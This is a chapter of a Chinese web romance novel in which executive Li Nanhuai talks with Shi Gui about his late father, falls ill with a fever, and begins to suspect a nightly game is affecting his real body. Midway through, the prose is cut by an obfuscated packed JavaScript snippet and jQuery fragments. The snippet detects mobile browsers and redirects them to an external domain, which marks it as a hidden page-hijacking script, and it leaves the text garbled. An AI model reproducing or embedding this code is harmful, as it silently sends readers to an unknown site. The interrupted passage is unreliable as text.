桑山骨 作品
21. 突然生病
“这边还需要一个打卡点……”她走到大厅的另一边，拿出图纸对照了一下，突然看到地上有个浅浅的方形痕迹。
不仅在这里，沿着大厅一圈都有这种痕迹。
时桂忽然想起之前在外面远远地看到过，大厅内原本有许多陈列柜，听虞笑晴说，好像是老明礼集团历年获得的成就与经济荣誉。
她把心中好奇告诉了李南淮，问他：“所以那些是搬到新的陈列室去了么？”
李南淮用鞋尖摩挲着地上的痕迹，淡淡道：“谁喜欢，谁就搬走了。”
“嗯？”时桂一时间没反应过来他的意思是，下意识开玩笑，“那我喜欢，我也能搬走？”
李南淮：“……你的思维还是这么跳脱。”
忽然有一种在游戏里跟她对话的熟悉感，李南淮按了按酸胀的眼角，感觉有些头疼，但又莫名有几分轻松。
“这里面曾经陈列着的是老明礼的过去。”李南淮抬头环顾着空空如也的大厅，似乎在寻找着什么，“是我的爷爷带着我父亲一点点积累下来的。”
他的声音听起来很平静，时桂只默默地听着。
“家业越来越大，父亲也越来越忙，我小的时候经常几天见不到他，他总是忙到凌晨三四点。”
有钱人果然如他们之前讨论的那样，分秒必争的忙活啊……时桂心中感慨。
“管理偌大个公司，他压力也很大吧。”
李南淮点点头：“所以他很早就去世了。”
“……对不起。”时桂哽住，一时间不知道该安慰他还是该说点什么别的。
“没事，都很多年了。”
冬日阴沉的光线从外面打到李南淮的脸上，时桂微微抬头，许多细小的尘埃在半空飘荡，落到他的眼睫上。
“父亲去世的突然，对公司股权结构影响很大，爷爷领着我走进公司，教我一步步接手。当时的我年纪很小，董事会那群人又虎视眈眈……”
说到这里，李南淮顿了顿，“啧”了一声：“其实那群老东西也不算难对付。”
时桂没忍住笑出了声，被李南淮一个眼神刹住了车。
她赶紧找补：“是在夸您厉害。”
想起之前听到的八卦，李南淮接手明礼后开始转型，几乎跟原来的发展路线完全相悖，没想到却将岌岌可危的明礼一把拉了回来，还越做越大。
看来还真挺不容易的。
“那群老东西成天就想着内斗，理念早被时代抛弃了。”他抬起手指着空荡的大厅，“一味抱着过去的荣耀停步不前，既然他们喜欢，我就让他们都搬走了。”
“是是是，您才是明礼最厉害的。”时桂竖起了一个大拇指，“李总辛苦了。”
李南淮觉得时桂好像在敷衍他，但又没有证据。
“哦——”时桂忽然恍然大悟，“所以您才要求大家不许加班。”
他只是缓缓点头：“辛苦也要有底线，我不认为多加班两三个小时就能实现工作上质的飞跃。”
时桂打心眼儿里赞扬了他：“您真是一位好老板！”
“像我父亲那样，得不偿失。”
他声音喑哑，时桂沉默了，偷偷抬眼还是看到他眼中的一丝落寞，年纪那么小就失去了父亲，大约还是有几分怀念吧。
“起码你对他还有印象，记得他的样子是吧。”时桂想让气氛轻松一些，向他伸出手，“我妈在我上幼儿园之前就去世了，如果没有照片，我是一点儿不记得她长什么样。”
李南淮一怔，低头看着她白皙的手掌：“……抱歉。”
“你有什么可抱歉的。”时桂看他眼睛盯着自己手，晃了晃手指，“看什么呢，卷尺。”
接过卷尺，她继续低头一边记录一边说：“从我记事起就是我爸一个人把我拉扯大，又要赚钱养我，工作很忙，所以从小到现在我大部分时间都是一个人生活，一个人上学、一个人外出工作……”
“自己要过得开心，这样爸妈不论在哪里也都能放心啦。”
“你也……很不容易。”看着她忙碌的样子，李南淮没发现自己的语气都放轻了一些。
蹲在地上的时桂抬起头，亮晶晶的眼睛泛出笑意：“那李总不如免了我的欠款？”
真像一只机灵的小狐狸。
李南淮收起心头一丝异样感，冷静回答：“不行。”
时桂“噗嗤”一下笑出声，轻快的笑声仿佛一缕暖风，顷刻间吹散了刚才那种有些沉重而微妙的氛围。
“放心吧，我的责任我会好好承担的啦。”她拉出卷尺的一头，递给李南淮，“麻烦再帮我拉一下。”
李南淮顿了顿，伸手去接，却在触碰到时桂的手指被冰的瑟缩了一下。
她的手怎么这么凉？
“怎么这么烫？”
还没等他开口，时桂惊讶地说道，下意识用手背又往前追了几寸，试探地触碰李南淮的手背又马上弹开。
“嗯？”李南淮此时才感觉自己有点头晕，眼睛酸胀，无力地在手臂上摩挲着。
“……脸好红！不会是发烧了吧。”时桂抬头对上李南淮略带茫然的眼神，跟之前见到冷静果决的他有点不一样。
李南淮顿了顿：“还好，只是有点冷，一会儿回办公室。”
“你这也穿的太少了，今天这么冷。”
空荡的大厅充斥着冰凉的空气，李南淮只觉得眼前一片雾蒙蒙的，是冬季特有的那种灰白——
直到一抹红色遮住自己的视线。
时桂顾不上许多，扯下自己的围巾胡乱缠在李南淮的脖子上，暗暗无语。
这种寒潮来袭的天气穿这么薄在外面乱晃，难道总裁都喜欢走冷酷路线？
“要风度不要温度……”她小声嘀咕着。
李南淮在一股淡淡的花香中，微微低下头：“……你想勒死我。”
“……”时桂赶紧撒开手，无语地摸出手机给卢助理打电话。
似乎是被温暖唤回了几分神志，李南淮看着她的背影，小声跟卢助理通着话还时不时回头看他。
“李总，你先坐下休息会儿吧，卢助理说他马上来。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15093267|161183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时桂叹气。
难怪感觉今天的大老板像丢了魂儿似的，跟她说话也很柔和有耐心，完全没有之前那种高冷的感觉，仿佛跟她是很熟悉的老朋友……
原来是发烧把脑子烧糊了！
李南淮点点头，很顺从地在台阶上坐下，裹着围巾安安静静的，只有眼神落在时桂身上，寸步不离。
她左右忙碌的模样好像一支灵动的画笔，逐渐给他眼中灰白的冬天晕染上了明媚的颜色，明媚得就像他在游戏中看到的那种，不属于现实的色彩。
……
“幸好只是有些着凉了。”卢助理送走家庭医生后，给李南淮递上了温水和药，“烧退了就好些了。”
“嗯。”李南淮吃了药，靠在休息室的床上闭目养神，“不用跟家里说。”
卢助理点点头：“知道。”
当了李南淮的助理这么多年，小卢也平时的李南淮生活作息极其规律，吃饭运动都很均衡，加上家庭医生常来检查护理，确实鲜少见到他生病。
“您也是的，怎么连自己发高烧了都没察觉，幸好时小姐发现您脸色不对赶紧打电话给我。”卢助理忍不住多啰嗦了两句，“这两天降温，虽然您平时身体素质不错，但还是穿厚点好。”
李南淮不耐：“小卢，你有时候比我妈还啰嗦。”
卢助理：……
他老实地闭了嘴，收拾桌面的时候看到了搭在床边的红色围巾，拿起来问道：“这条围巾是时小姐的吗？我去送还给她？”
李南淮抬眼一瞥：“送去干洗，再还给她。”
“好的。”
“等等……算了，放下吧。”哪知道刚转身又被李南淮叫住，他顿了顿，“买一条新的给她。”
卢助理看了看手中估计就几十块钱的围巾，心中百转千回，脑子里转了又转，才小心谨慎地问道：“B品牌有一条类似颜色的，买那条……送给时小姐，行吗？”
李南淮挥了挥手：“你看着办。”
“好的，我知道了。”卢助理面上微笑地放下围巾，轻手轻脚地带上门出去了，心中却乐开了花。
当了这么多年助理，他能不明白李南淮的意思吗？
“让他看着办”就等于“老板很满意他的提议”，这是什么意思——当然是老板果然对时小姐是不同的！
休息室的隔音很好，李南淮吃了药有些昏沉，他哪里明白小卢心里的想法，手背懒散地搭在温凉潮湿的额头上，享受着难得的、全身心的休息。
自从每天晚上莫名其妙进到游戏中，他就开启了白天工作晚上种地的生活，很久没有彻底放松过脑子了。
高强度的大脑运作确实让他有些疲惫，以至于忽略了身体的微妙变化，以前天气降温基本没生过病，毕竟也没有真的吹风淋雨……
黑暗中的李南淮忽然睁开了眼睛，病中的眼神依然清亮而敏锐——
现实中确实没有，但是，他在游戏中淋雨了。
最可怕的情况好像出现了……游戏，开始影响现实中的自己了。
李南淮的一颗心缓缓沉下，希望这一次只是巧合。